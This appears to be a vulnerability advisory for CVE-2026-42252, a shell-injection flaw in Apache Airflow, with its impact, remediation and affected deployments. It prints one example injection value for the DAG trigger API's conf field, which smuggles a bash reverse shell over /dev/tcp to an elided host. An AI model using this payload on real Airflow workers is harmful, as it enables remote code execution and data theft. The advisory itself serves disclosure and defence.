CVE-2026-42252

An example in the documentation showed the construction `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` without any shell quoting or security warning. A user with `Dag.can_trigger` permission on the vulnerable DAG could pass a malicious value to the `conf` field via the DAG triggering API, such as `"; bash -i >& /dev/tcp/.../9999 0>&1; #"`. This value went directly to the shell command executed by the worker, enabling shell metacharacter injection and achieving `os.exec` invocation. The vulnerability required authentication, but typical multi-team environments and hosted services exposing the trigger API made it a realistic threat.

An authenticated attacker with permission to trigger a DAG can achieve remote code execution (RCE) on an Apache Airflow worker node, potentially taking control of worker processes and gaining access to processed data and the execution environment.

Apache Airflow should be updated to version 3.2.2 or newer, which provides corrected documentation with explicit shell quoting and security warnings. Additionally, existing DAG code should be reviewed and the pattern `{{ dag_run.conf['...'] }}` in BashOperator arguments should be replaced with a properly quoted shell version or use an environment variable mechanism for passing values instead of direct template interpolation in the command.

Apache Airflow deployments where DAG code was modeled on the example from the documentation prior to the fix (PR 64129) — particularly affecting multi-team environments and hosted services where users have `Dag.can_trigger` permission; according to the description, updating to apache-airflow version 3.2.2 or newer is recommended